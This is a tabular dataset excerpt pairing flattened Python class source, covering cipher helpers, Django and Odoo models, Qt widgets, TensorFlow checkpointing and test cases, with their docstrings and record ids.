code stringlengths 4 4.48k | docstring stringlengths 1 6.45k | _id stringlengths 24 24 |
|---|---|---|
class PlaintextMessage(Message): <NEW_LINE> <INDENT> def __init__(self, text, shift): <NEW_LINE> <INDENT> self.text = text <NEW_LINE> self.shift = shift <NEW_LINE> self.valid_words = load_words("words.txt") <NEW_LINE> message = Message(text) <NEW_LINE> self.encrypting_dict = message.build_shift_dict(shift) <NEW_LINE> self.message_text_encrypted = message.apply_shift(shift) <NEW_LINE> <DEDENT> def get_shift(self): <NEW_LINE> <INDENT> return self.shift <NEW_LINE> <DEDENT> def get_encrypting_dict(self): <NEW_LINE> <INDENT> return self.encrypting_dict <NEW_LINE> <DEDENT> def get_message_text_encrypted(self): <NEW_LINE> <INDENT> return self.message_text_encrypted <NEW_LINE> <DEDENT> def change_shift(self, shift): <NEW_LINE> <INDENT> self.shift = shift <NEW_LINE> message = Message(self.text) <NEW_LINE> self.encrypting_dict = message.build_shift_dict(shift) <NEW_LINE> self.message_text_encrypted = message.apply_shift(shift) | PlaintextMessage class | 62598faad486a94d0ba2bf39 |
class investment: <NEW_LINE> <INDENT> def __init__(self, positions, num_trials): <NEW_LINE> <INDENT> self.positions = positions <NEW_LINE> self.num_trials = num_trials <NEW_LINE> self.position_value = 1000 / positions <NEW_LINE> <DEDENT> def simulate(self): <NEW_LINE> <INDENT> cumu_ret = np.zeros(self.num_trials) <NEW_LINE> for trial in range(self.num_trials): <NEW_LINE> <INDENT> outcome = 0 <NEW_LINE> for p in range(self.positions): <NEW_LINE> <INDENT> random = np.random.rand() <NEW_LINE> if random <= 0.51: <NEW_LINE> <INDENT> outcome += self.position_value * 2 <NEW_LINE> <DEDENT> cumu_ret[trial] = outcome <NEW_LINE> <DEDENT> <DEDENT> daily_ret = (cumu_ret / 1000) - 1 <NEW_LINE> return daily_ret <NEW_LINE> <DEDENT> def output(positions, num_trials): <NEW_LINE> <INDENT> file = open('results.txt', 'w') <NEW_LINE> for p in positions: <NEW_LINE> <INDENT> daily_ret = investment.simulate(investment(p, num_trials)) <NEW_LINE> hist = plt.figure() <NEW_LINE> plt.hist(daily_ret, 100, range=[-1, 1]) <NEW_LINE> plt.xlabel('Trials') <NEW_LINE> plt.ylabel("daily_ret") <NEW_LINE> plt.title('Histogram of position ' + str(p)) <NEW_LINE> hist.savefig('histogram_%04d_pos.pdf' % p) <NEW_LINE> plt.close('all') <NEW_LINE> file.write("The mean of daily return for position " + str(p) + " is " + str(np.mean(daily_ret)) + "\n") <NEW_LINE> file.write("The standard deviation of daily return for position " + str(p) + " is " + str(np.std(daily_ret)) + "\n") <NEW_LINE> <DEDENT> file.close() <NEW_LINE> print("Done") | Create class investment | 62598faa442bda511e95c3c2 |
class GettextLocale(Locale): <NEW_LINE> <INDENT> def __init__(self, code: str, translations: gettext.NullTranslations) -> None: <NEW_LINE> <INDENT> self.ngettext = translations.ngettext <NEW_LINE> self.gettext = translations.gettext <NEW_LINE> super().__init__(code) <NEW_LINE> <DEDENT> def translate( self, message: str, plural_message: Optional[str] = None, count: Optional[int] = None, ) -> str: <NEW_LINE> <INDENT> if plural_message is not None: <NEW_LINE> <INDENT> assert count is not None <NEW_LINE> return self.ngettext(message, plural_message, count) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.gettext(message) <NEW_LINE> <DEDENT> <DEDENT> def pgettext( self, context: str, message: str, plural_message: Optional[str] = None, count: Optional[int] = None, ) -> str: <NEW_LINE> <INDENT> if plural_message is not None: <NEW_LINE> <INDENT> assert count is not None <NEW_LINE> msgs_with_ctxt = ( "%s%s%s" % (context, CONTEXT_SEPARATOR, message), "%s%s%s" % (context, CONTEXT_SEPARATOR, plural_message), count, ) <NEW_LINE> result = self.ngettext(*msgs_with_ctxt) <NEW_LINE> if CONTEXT_SEPARATOR in result: <NEW_LINE> <INDENT> result = self.ngettext(message, plural_message, count) <NEW_LINE> <DEDENT> return result <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> msg_with_ctxt = "%s%s%s" % (context, CONTEXT_SEPARATOR, message) <NEW_LINE> result = self.gettext(msg_with_ctxt) <NEW_LINE> if CONTEXT_SEPARATOR in result: <NEW_LINE> <INDENT> result = message <NEW_LINE> <DEDENT> return result | Locale implementation using the `gettext` module. | 62598faacb5e8a47e493c12e |
class ActivePool: <NEW_LINE> <INDENT> start = time.time() <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> super(ActivePool, self).__init__() <NEW_LINE> self.active = [] <NEW_LINE> self.lock = threading.Lock() <NEW_LINE> <DEDENT> def makeActive(self, name): <NEW_LINE> <INDENT> with self.lock: <NEW_LINE> <INDENT> self.active.append(name) <NEW_LINE> tm = time.time() - self.start <NEW_LINE> print(f'Время: {round(tm, 3)} Running: {self.active}') <NEW_LINE> <DEDENT> <DEDENT> def makeInactive(self, name): <NEW_LINE> <INDENT> with self.lock: <NEW_LINE> <INDENT> self.active.remove(name) <NEW_LINE> tm = time.time() - self.start <NEW_LINE> print(f'Время: {round(tm, 3)} Running: {self.active}') | Воображаемый пул соединений | 62598faa435de62698e9bd61 |
class SpiralStepHook(StepHook): <NEW_LINE> <INDENT> def __init__(self, max_episode_steps, save_global_step_interval, outdir): <NEW_LINE> <INDENT> self.max_episode_steps = max_episode_steps <NEW_LINE> self.save_global_step_interval = save_global_step_interval <NEW_LINE> self.outdir = outdir <NEW_LINE> <DEDENT> def __call__(self, env, agent, step): <NEW_LINE> <INDENT> if agent.t % self.max_episode_steps == 0: <NEW_LINE> <INDENT> agent.compute_reward(env.render(mode='rgb_array'), env.calc_mse()) <NEW_LINE> env.reset() <NEW_LINE> <DEDENT> if step % self.save_global_step_interval == 0: <NEW_LINE> <INDENT> agent.snap(step, self.outdir) | Ask the agent to compute reward at the current drawn picture | 62598faa435de62698e9bd62 |
class NonceFlagUsed(db.Model): <NEW_LINE> <INDENT> challenge_cid = db.Column(db.BigInteger, db.ForeignKey('challenge.cid'), primary_key=True) <NEW_LINE> nonce = db.Column(db.BigInteger, primary_key=True) <NEW_LINE> team_tid = db.Column(db.Integer, db.ForeignKey('team.tid')) <NEW_LINE> @classmethod <NEW_LINE> def create(cls, challenge, nonce, team): <NEW_LINE> <INDENT> entity = cls() <NEW_LINE> entity.challenge_cid = challenge.cid <NEW_LINE> entity.nonce = nonce <NEW_LINE> entity.team_tid = team.tid <NEW_LINE> db.session.add(entity) | Single-time used flags. | 62598faa8c0ade5d55dc3647 |
class UserProfileManager(BaseUserManager): <NEW_LINE> <INDENT> def create_user(self, email, first_name, last_name, password=None): <NEW_LINE> <INDENT> if not email: <NEW_LINE> <INDENT> raise ValueError("User must have an email address") <NEW_LINE> <DEDENT> email = self.normalize_email(email) <NEW_LINE> user = self.model(email=email, first_name=first_name, last_name=last_name) <NEW_LINE> user.set_password(password) <NEW_LINE> user.save(using=self._db) <NEW_LINE> return user <NEW_LINE> <DEDENT> def create_superuser(self, email, first_name, last_name, password=None): <NEW_LINE> <INDENT> user = self.create_user(email, first_name, last_name, password) <NEW_LINE> user.is_superuser = True <NEW_LINE> user.is_staff = True <NEW_LINE> user.save(using=self._db) <NEW_LINE> return user | Manager for UserProfile model | 62598faa8e7ae83300ee900d |
class Bullet(Sprite): <NEW_LINE> <INDENT> def __init__(self, ai_settings, screen, myplane): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.screen = screen <NEW_LINE> self.rect = pygame.Rect(0, 0, ai_settings.bullet_width, ai_settings.bullet_height) <NEW_LINE> self.rect.centerx = myplane.rect.centerx <NEW_LINE> self.rect.top = myplane.rect.top <NEW_LINE> self.y =float(self.rect.y) <NEW_LINE> self.color = ai_settings.bullet_color <NEW_LINE> self.speed_factor = ai_settings.bullet_speed_factor <NEW_LINE> <DEDENT> def update(self): <NEW_LINE> <INDENT> self.y -= self.speed_factor <NEW_LINE> self.rect.y = self.y <NEW_LINE> <DEDENT> def draw_bullet(self): <NEW_LINE> <INDENT> pygame.draw.rect(self.screen, self.color, self.rect) | 一个对飞机发射的子弹进行管理的类 | 62598faa56ac1b37e6302158 |
class Test_SetDataStrict(Test_SetData): <NEW_LINE> <INDENT> def TestFunction(self, gTarget, gPath, gValue): <NEW_LINE> <INDENT> TestModule.SetDataStrict(gTarget, gPath, gValue) <NEW_LINE> <DEDENT> def test_IndexAccessNonExisting(self): <NEW_LINE> <INDENT> iLen = len(self.List) <NEW_LINE> for iIndex in range(1, 5): <NEW_LINE> <INDENT> with self.assertRaises(IndexError, msg = 'too negative'): <NEW_LINE> <INDENT> self.TestFunction(self.List, -iLen - iIndex, 9) <NEW_LINE> <DEDENT> with self.assertRaises(IndexError, msg = 'too positive'): <NEW_LINE> <INDENT> self.TestFunction(self.List, iLen + iIndex - 1, 9) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def test_KeyAccessNonExisting(self): <NEW_LINE> <INDENT> for strKey in ['e', 'f', 'g']: <NEW_LINE> <INDENT> with self.assertRaises(KeyError, msg = '{} in dict'.format(strKey)): <NEW_LINE> <INDENT> self.TestFunction(self.Dict, strKey, 9) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def test_AttributeAccessNonExisting(self): <NEW_LINE> <INDENT> for strKey in ['e', 'f', 'g']: <NEW_LINE> <INDENT> with self.assertRaises(AttributeError, msg = 'struct'): <NEW_LINE> <INDENT> self.TestFunction(self.Struct, strKey, 9) | Test cases for the function SetDataStrict() from the module
universal_access.
Implements tests ID TEST-T-540. Covers requirements REQ-FUN-540,
REQ-AWM-500, REQ-AWM-502 and REQ-AWM-503. | 62598faa91af0d3eaad39d7c |
class TransitionEvent(CommandEvent): <NEW_LINE> <INDENT> def __init__(self, commands, destination): <NEW_LINE> <INDENT> CommandEvent.__init__(self, commands) <NEW_LINE> self.destination = destination <NEW_LINE> <DEDENT> def on_success(self, game): <NEW_LINE> <INDENT> game.pc.move_to_room(self.destination) <NEW_LINE> game.iom.show_current_room() | Transition (movement) event.
Transition events are those that move the player character from one
room to another.
Attributes:
destination: Room object where the player character will be
transported on this event's success. | 62598faa1f037a2d8b9e4059 |
class SaveDirty(Operator): <NEW_LINE> <INDENT> bl_idname = "image.save_dirty" <NEW_LINE> bl_label = "Save Dirty" <NEW_LINE> bl_options = {'REGISTER', 'UNDO'} <NEW_LINE> def execute(self, context): <NEW_LINE> <INDENT> unique_paths = set() <NEW_LINE> for image in bpy.data.images: <NEW_LINE> <INDENT> if image.is_dirty: <NEW_LINE> <INDENT> if image.packed_file: <NEW_LINE> <INDENT> if image.library: <NEW_LINE> <INDENT> self.report({'WARNING'}, "Packed library image: %r from library %r" " can't be re-packed" % (image.name, image.library.filepath)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> image.pack(as_png=True) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> filepath = bpy.path.abspath(image.filepath, library=image.library) <NEW_LINE> if "\\" not in filepath and "/" not in filepath: <NEW_LINE> <INDENT> self.report({'WARNING'}, "Invalid path: " + filepath) <NEW_LINE> <DEDENT> elif filepath in unique_paths: <NEW_LINE> <INDENT> self.report({'WARNING'}, "Path used by more than one image: %r" % filepath) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> unique_paths.add(filepath) <NEW_LINE> image.save() <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> return {'FINISHED'} | Save all modified textures | 62598faad7e4931a7ef3c002 |
class CalendarWidget(qt_widgets.QWidget): <NEW_LINE> <INDENT> def __init__(self, title="Calendar"): <NEW_LINE> <INDENT> super(CalendarWidget, self).__init__() <NEW_LINE> self.setWindowTitle(title) <NEW_LINE> layout = qt_widgets.QGridLayout() <NEW_LINE> layout.setColumnStretch(1, 1) <NEW_LINE> self.cal = qt_widgets.QCalendarWidget(self) <NEW_LINE> self.cal.setGridVisible(True) <NEW_LINE> self.cal.clicked[QtCore.QDate].connect(self.show_date) <NEW_LINE> layout.addWidget(self.cal, 0, 0, 1, 2) <NEW_LINE> self.date_label = qt_widgets.QLabel() <NEW_LINE> self.date = self.cal.selectedDate() <NEW_LINE> self.date_label.setText(self.date.toString()) <NEW_LINE> layout.addWidget(self.date_label, 1, 0) <NEW_LINE> button_box = qt_widgets.QDialogButtonBox() <NEW_LINE> confirm_button = button_box.addButton(qt_widgets.QDialogButtonBox.Ok) <NEW_LINE> confirm_button.clicked.connect(self.confirm) <NEW_LINE> layout.addWidget(button_box, 1, 1) <NEW_LINE> self.setLayout(layout) <NEW_LINE> self.show() <NEW_LINE> self.raise_() <NEW_LINE> <DEDENT> def show_date(self, date): <NEW_LINE> <INDENT> self.date = self.cal.selectedDate() <NEW_LINE> self.date_label.setText(self.date.toString()) <NEW_LINE> <DEDENT> def confirm(self): <NEW_LINE> <INDENT> self.date = self.cal.selectedDate() <NEW_LINE> self.close() | Creates a calendar widget allowing the user to select a date. | 62598faa5fcc89381b266102 |
class itkDenseFiniteDifferenceImageFilterIF3IF3(itkFiniteDifferenceImageFilterPython.itkFiniteDifferenceImageFilterIF3IF3): <NEW_LINE> <INDENT> thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') <NEW_LINE> def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") <NEW_LINE> __repr__ = _swig_repr <NEW_LINE> ImageDimension = _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_ImageDimension <NEW_LINE> OutputTimesDoubleCheck = _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_OutputTimesDoubleCheck <NEW_LINE> OutputAdditiveOperatorsCheck = _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_OutputAdditiveOperatorsCheck <NEW_LINE> InputConvertibleToOutputCheck = _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_InputConvertibleToOutputCheck <NEW_LINE> __swig_destroy__ = _itkDenseFiniteDifferenceImageFilterPython.delete_itkDenseFiniteDifferenceImageFilterIF3IF3 <NEW_LINE> def cast(*args): <NEW_LINE> <INDENT> return _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_cast(*args) <NEW_LINE> <DEDENT> cast = staticmethod(cast) <NEW_LINE> def GetPointer(self): <NEW_LINE> <INDENT> return _itkDenseFiniteDifferenceImageFilterPython.itkDenseFiniteDifferenceImageFilterIF3IF3_GetPointer(self) <NEW_LINE> <DEDENT> def New(*args, **kargs): <NEW_LINE> <INDENT> obj = itkDenseFiniteDifferenceImageFilterIF3IF3.__New_orig__() <NEW_LINE> import itkTemplate <NEW_LINE> itkTemplate.New(obj, *args, **kargs) <NEW_LINE> return obj <NEW_LINE> <DEDENT> New = staticmethod(New) | Proxy of C++ itkDenseFiniteDifferenceImageFilterIF3IF3 class | 62598faa67a9b606de545f38 |
class ForceGarbageCollectionTests(unittest.SynchronousTestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> self.config = trial.Options() <NEW_LINE> self.log = [] <NEW_LINE> self.patch(gc, 'collect', self.collect) <NEW_LINE> test = pyunit.FunctionTestCase(self.simpleTest) <NEW_LINE> self.test = TestSuite([test, test]) <NEW_LINE> <DEDENT> def simpleTest(self): <NEW_LINE> <INDENT> self.log.append('test') <NEW_LINE> <DEDENT> def collect(self): <NEW_LINE> <INDENT> self.log.append('collect') <NEW_LINE> <DEDENT> def makeRunner(self): <NEW_LINE> <INDENT> runner = trial._makeRunner(self.config) <NEW_LINE> runner.stream = StringIO.StringIO() <NEW_LINE> return runner <NEW_LINE> <DEDENT> def test_forceGc(self): <NEW_LINE> <INDENT> self.config['force-gc'] = True <NEW_LINE> self.config.postOptions() <NEW_LINE> runner = self.makeRunner() <NEW_LINE> runner.run(self.test) <NEW_LINE> self.assertEqual(self.log, ['collect', 'test', 'collect', 'collect', 'test', 'collect']) <NEW_LINE> <DEDENT> def test_unforceGc(self): <NEW_LINE> <INDENT> self.config.postOptions() <NEW_LINE> runner = self.makeRunner() <NEW_LINE> runner.run(self.test) <NEW_LINE> self.assertEqual(self.log, ['test', 'test']) | Tests for the --force-gc option. | 62598faa66673b3332c30337 |
class LastOrgTicketLoaderRunAdmin(admin.ModelAdmin): <NEW_LINE> <INDENT> list_display = ["org_id", "last", "runtime", "success"] <NEW_LINE> class Meta: <NEW_LINE> <INDENT> model = LastOrgTicketLoaderRun | Override the default Django Admin website display of Ticket app | 62598faa30dc7b766599f7b9 |
class PublicSearchHandler(myRequestHandler, Entity2): <NEW_LINE> <INDENT> def get(self, path=None, search=None): <NEW_LINE> <INDENT> if not path: <NEW_LINE> <INDENT> self.redirect('/public') <NEW_LINE> <DEDENT> search = urllib.unquote_plus(search.strip('/').strip('-')) <NEW_LINE> if not search: <NEW_LINE> <INDENT> self.redirect('/public-%s' % path) <NEW_LINE> <DEDENT> locale = self.get_user_locale() <NEW_LINE> items = [] <NEW_LINE> if len(search) > 1: <NEW_LINE> <INDENT> entity_definitions = [x.get('keyname') for x in self.db_query('SELECT keyname FROM entity_definition WHERE public_path = %s;', path)] <NEW_LINE> entities = self.get_entities_info(query=search, definition=entity_definitions) <NEW_LINE> logging.warning(search) <NEW_LINE> if entities: <NEW_LINE> <INDENT> for item in entities.get('entities', []): <NEW_LINE> <INDENT> items.append({ 'id': item.get('id', ''), 'url': '/public-%s/entity-%s/%s' % (path, item.get('id', ''), toURL(item.get('displayname', ''))), 'name': item.get('displayname', ''), 'info': item.get('displayinfo', ''), 'date': item.get('created'), 'picture': item.get('displaypicture', ''), 'file': item.get('file_count', 0), }) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if len(search) < 2: <NEW_LINE> <INDENT> itemcount =locale.translate('search_term_to_short') % search <NEW_LINE> <DEDENT> elif len(items) == 0: <NEW_LINE> <INDENT> itemcount =locale.translate('search_noresult') <NEW_LINE> <DEDENT> elif len(items) == 1: <NEW_LINE> <INDENT> itemcount =locale.translate('search_result_count1') <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> itemcount =locale.translate('search_result_count2') % len(items) <NEW_LINE> <DEDENT> self.render('public/template/list.html', entities = sorted(items, key=itemgetter('name')) , itemcount = itemcount, paths = self.get_public_paths(), path = path, search = urllib.unquote_plus(search), ) <NEW_LINE> <DEDENT> def post(self, path=None, search=None ): <NEW_LINE> <INDENT> search_get = self.get_argument('search', None) <NEW_LINE> if not path or not search_get: <NEW_LINE> <INDENT> self.redirect('/public') <NEW_LINE> <DEDENT> self.redirect('/public-%s/search/%s' % (path, urllib.quote_plus(search_get.encode('utf-8')))) | Show public search results. | 62598faa498bea3a75a57a8a |
class BaseDirectoryDiffer(object): <NEW_LINE> <INDENT> def __init__(self, dir1, dir2): <NEW_LINE> <INDENT> if not self.validate(dir1) or not self.validate(dir2): <NEW_LINE> <INDENT> raise ValueError('is not a dir') <NEW_LINE> <DEDENT> self.dir1 = dir1 <NEW_LINE> self.dir2 = dir2 <NEW_LINE> self.files = self.list_files() <NEW_LINE> <DEDENT> def list_files(self, usegenerator=False): <NEW_LINE> <INDENT> res = {} <NEW_LINE> if usegenerator: <NEW_LINE> <INDENT> res[self.dir1] = scandir(self.dir1) <NEW_LINE> res[self.dir2] = scandir(self.dir2) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> res[self.dir1] = list(scandir(self.dir1)) <NEW_LINE> res[self.dir2] = list(scandir(self.dir2)) <NEW_LINE> <DEDENT> return res <NEW_LINE> <DEDENT> def validate(self, dir): <NEW_LINE> <INDENT> return os.path.isdir(dir) <NEW_LINE> <DEDENT> def _check_end_dir(self, dir): <NEW_LINE> <INDENT> return dir.endswith(os.path.sep) <NEW_LINE> <DEDENT> def _remove_end_sep(self, dir): <NEW_LINE> <INDENT> if self._check_end_dir(dir): <NEW_LINE> <INDENT> return os.path.relpath(dir) <NEW_LINE> <DEDENT> return dir <NEW_LINE> <DEDENT> def _prefix(self, path): <NEW_LINE> <INDENT> return os.path.dirname(path) <NEW_LINE> <DEDENT> def basename(self, dir): <NEW_LINE> <INDENT> tmp = self._remove_end_sep(dir) <NEW_LINE> prefix = self._prefix(tmp) <NEW_LINE> return os.path.relpath(tmp, prefix) <NEW_LINE> <DEDENT> def _get_same_filename(self, l1, l2): <NEW_LINE> <INDENT> _l1 = map(self.basename, l1) <NEW_LINE> _l2 = map(self.basename, l2) <NEW_LINE> return set(_l1) & set(_l2) <NEW_LINE> <DEDENT> def _fetch_by_same_filename(self, l1, l2): <NEW_LINE> <INDENT> res = [] <NEW_LINE> for same in self._get_same_filename(l1, l2): <NEW_LINE> <INDENT> _item = [] <NEW_LINE> for x in l1: <NEW_LINE> <INDENT> if self.basename(x) == same: <NEW_LINE> <INDENT> _item.append(x) <NEW_LINE> <DEDENT> <DEDENT> for x in l2: <NEW_LINE> <INDENT> if self.basename(x) == same: <NEW_LINE> <INDENT> _item.append(x) <NEW_LINE> <DEDENT> <DEDENT> res.append(_item) <NEW_LINE> <DEDENT> return res <NEW_LINE> <DEDENT> def differ(self): <NEW_LINE> <INDENT> if len(self.files) != 2 and len(self.files) != 1: <NEW_LINE> <INDENT> raise ValueError('Wrong data') <NEW_LINE> <DEDENT> data = list(self.files.values()) <NEW_LINE> for item in self._fetch_by_same_filename(data[0], data[1]): <NEW_LINE> <INDENT> differ = BasePlainFileDiffer(self.basename(item[0])) <NEW_LINE> print(differ.name) <NEW_LINE> differ.clear_cache() <NEW_LINE> differ.loadfile(item[0]) <NEW_LINE> differ.loadfile(item[1]) <NEW_LINE> d = differ.differ() <NEW_LINE> for i in d.show_diff_content(): <NEW_LINE> <INDENT> print(i.info) | Compare two directory and differ by the same filename in two directory | 62598faa627d3e7fe0e06e19 |
class LoggedMessage(models.Model): <NEW_LINE> <INDENT> to = models.EmailField(help_text=_lazy("Address to which the the Email was sent.")) <NEW_LINE> user = models.ForeignKey( settings.AUTH_USER_MODEL, related_name="logged_emails", on_delete=models.SET_NULL, null=True, blank=True, db_index=True, ) <NEW_LINE> template: EmailTemplate = models.ForeignKey( EmailTemplate, related_name="logged_emails", on_delete=models.SET_NULL, blank=True, null=True, db_index=True, help_text=_lazy("The appmail template used."), ) <NEW_LINE> timestamp = models.DateTimeField( default=tz_now, help_text=_lazy("When the email was sent."), db_index=True ) <NEW_LINE> subject = models.TextField(blank=True, help_text=_lazy("Email subject line.")) <NEW_LINE> body = models.TextField( "Plain text", blank=True, help_text=_lazy("Plain text content.") ) <NEW_LINE> html = models.TextField("HTML", blank=True, help_text=_lazy("HTML content.")) <NEW_LINE> context = JSONField( default=dict, encoder=DjangoJSONEncoder, help_text=_lazy("Appmail template context."), ) <NEW_LINE> objects = LoggedMessageManager() <NEW_LINE> class Meta: <NEW_LINE> <INDENT> get_latest_by = "timestamp" <NEW_LINE> verbose_name = "Email message" <NEW_LINE> verbose_name_plural = "Email messages sent" <NEW_LINE> <DEDENT> def __repr__(self) -> str: <NEW_LINE> <INDENT> return ( f"<LoggedMessage id:{self.id} template='{self.template_name}' " f"to='{self.to}'>" ) <NEW_LINE> <DEDENT> def __str__(self) -> str: <NEW_LINE> <INDENT> return f"LoggedMessage sent to {self.to} ['{self.template_name}']>" <NEW_LINE> <DEDENT> @property <NEW_LINE> def template_name(self) -> str: <NEW_LINE> <INDENT> if not self.template: <NEW_LINE> <INDENT> return "" <NEW_LINE> <DEDENT> return self.template.name <NEW_LINE> <DEDENT> def rehydrate(self) -> AppmailMessage: <NEW_LINE> <INDENT> return AppmailMessage( template=self.template, context=self.context, to=[self.to] ) <NEW_LINE> <DEDENT> def resend( self, log_sent_emails: bool = LOG_SENT_EMAILS, fail_silently: bool = False, ) -> None: <NEW_LINE> <INDENT> self.rehydrate().send( log_sent_emails=log_sent_emails, fail_silently=fail_silently, ) | Record of emails sent via Appmail. | 62598faa92d797404e388b1b |
class ServicePage(Page): <NEW_LINE> <INDENT> def __init__(self, version, response, solution): <NEW_LINE> <INDENT> super(ServicePage, self).__init__(version, response) <NEW_LINE> self._solution = solution <NEW_LINE> <DEDENT> def get_instance(self, payload): <NEW_LINE> <INDENT> return ServiceInstance(self._version, payload, ) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return '<Twilio.Verify.V1.ServicePage>' | PLEASE NOTE that this class contains beta products that are subject to
change. Use them with caution. | 62598faa60cbc95b063642ba |
class SwitchLayer(NeuronLayer): <NEW_LINE> <INDENT> def __init__(self, dim, name=None): <NEW_LINE> <INDENT> Module.__init__(self, dim, dim * 2, name) <NEW_LINE> <DEDENT> def _forwardImplementation(self, inbuf, outbuf): <NEW_LINE> <INDENT> outbuf[:self.indim] += sigmoid(inbuf) <NEW_LINE> outbuf[self.indim:] += 1 - sigmoid(inbuf) <NEW_LINE> <DEDENT> def _backwardImplementation(self, outerr, inerr, outbuf, inbuf): <NEW_LINE> <INDENT> inerr += sigmoidPrime(inbuf) * outerr[:self.indim] <NEW_LINE> inerr -= sigmoidPrime(inbuf) * outerr[self.indim:] | Layer that implements pairwise multiplication. | 62598faaa8370b77170f0348 |
class HTTPUnsupportedMediaType(HTTPClientError): <NEW_LINE> <INDENT> code = 415 <NEW_LINE> status = b'Unsupported Media Type' <NEW_LINE> explanation = 'The request media type is not supported by this server.' | 415 Unsupported Media Type
The server is refusing to service the request because the entity of the
request is in a format not supported by the requested resource for the
requested method.
For information, see RFC 2616 §10.:
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.2.1 | 62598faad58c6744b42dc28c |
class TunneldiggerBrokerConfig(cgm_models.PackageConfig, cgm_models.RoutableInterface): <NEW_LINE> <INDENT> uplink_interface = registry_fields.ReferenceChoiceField( cgm_models.InterfaceConfig, limit_choices_to=lambda model: getattr(model, 'uplink', False), related_name='+', help_text=_("Select on which interface the broker should listen on."), ) <NEW_LINE> ports = postgres_fields.ArrayField( models.IntegerField(validators=[core_validators.PortNumberValidator()]) ) <NEW_LINE> max_cookies = models.PositiveIntegerField(default=1024) <NEW_LINE> max_tunnels = models.PositiveIntegerField(default=1024) <NEW_LINE> tunnel_timeout = timedelta_fields.TimedeltaField( default='1min', verbose_name=_("Tunnel Timeout"), choices=( (datetime.timedelta(minutes=1), _("1 minute")), (datetime.timedelta(minutes=2), _("2 minutes")), (datetime.timedelta(minutes=5), _("5 minutes")), ) ) <NEW_LINE> pmtu_discovery = models.BooleanField( default=True, verbose_name=_("Enable PMTU Discovery"), ) <NEW_LINE> class RegistryMeta(cgm_models.PackageConfig.RegistryMeta): <NEW_LINE> <INDENT> registry_name = _("Tunneldigger Broker") | Tunneldigger broker configuration. | 62598faa76e4537e8c3ef51a |
class ExtendedSaleOrder(models.Model): <NEW_LINE> <INDENT> _inherit = 'sale.order' <NEW_LINE> nrg_accounting_paytype = fields.Many2one('nrg.accounting.paytype', 'Payment Type', required=True) <NEW_LINE> nrg_accounting_paytype_fund = fields.Many2one('nrg.accounting.paytype.fund', 'Fund') <NEW_LINE> nrg_accounting_ref_paytype_isfund = fields.Boolean('Require Fund', related='nrg_accounting_paytype.is_require_fund') | Inherits sale.order and adds payment type. | 62598faa4a966d76dd5eee4e |
class ModelSaver(Callback): <NEW_LINE> <INDENT> def __init__(self, max_to_keep=10, keep_checkpoint_every_n_hours=0.5, checkpoint_dir=None, var_collections=None): <NEW_LINE> <INDENT> if var_collections is None: <NEW_LINE> <INDENT> var_collections = [tf.GraphKeys.GLOBAL_VARIABLES] <NEW_LINE> <DEDENT> self._max_to_keep = max_to_keep <NEW_LINE> self._keep_every_n_hours = keep_checkpoint_every_n_hours <NEW_LINE> if not isinstance(var_collections, list): <NEW_LINE> <INDENT> var_collections = [var_collections] <NEW_LINE> <DEDENT> self.var_collections = var_collections <NEW_LINE> if checkpoint_dir is None: <NEW_LINE> <INDENT> checkpoint_dir = logger.get_logger_dir() <NEW_LINE> <DEDENT> if checkpoint_dir is not None: <NEW_LINE> <INDENT> if not tf.gfile.IsDirectory(checkpoint_dir): <NEW_LINE> <INDENT> tf.gfile.MakeDirs(checkpoint_dir) <NEW_LINE> <DEDENT> <DEDENT> self.checkpoint_dir = checkpoint_dir <NEW_LINE> <DEDENT> def _setup_graph(self): <NEW_LINE> <INDENT> assert self.checkpoint_dir is not None, "ModelSaver() doesn't have a valid checkpoint directory." <NEW_LINE> vars = [] <NEW_LINE> for key in self.var_collections: <NEW_LINE> <INDENT> vars.extend(tf.get_collection(key)) <NEW_LINE> <DEDENT> vars = list(set(vars)) <NEW_LINE> self.path = os.path.join(self.checkpoint_dir, 'model') <NEW_LINE> self.saver = tf.train.Saver( var_list=vars, max_to_keep=self._max_to_keep, keep_checkpoint_every_n_hours=self._keep_every_n_hours, write_version=tf.train.SaverDef.V2, save_relative_paths=True) <NEW_LINE> tf.add_to_collection(tf.GraphKeys.SAVERS, self.saver) <NEW_LINE> <DEDENT> def _before_train(self): <NEW_LINE> <INDENT> time = datetime.now().strftime('%m%d-%H%M%S') <NEW_LINE> self.saver.export_meta_graph( os.path.join(self.checkpoint_dir, 'graph-{}.meta'.format(time)), collection_list=self.graph.get_all_collection_keys()) <NEW_LINE> <DEDENT> def _trigger(self): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> self.saver.save( tf.get_default_session(), self.path, global_step=tf.train.get_global_step(), write_meta_graph=False) <NEW_LINE> logger.info("Model saved to %s." % tf.train.get_checkpoint_state(self.checkpoint_dir).model_checkpoint_path) <NEW_LINE> <DEDENT> except (OSError, IOError, tf.errors.PermissionDeniedError, tf.errors.ResourceExhaustedError): <NEW_LINE> <INDENT> logger.exception("Exception in ModelSaver!") | Save the model once triggered. | 62598faa4e4d562566372392 |
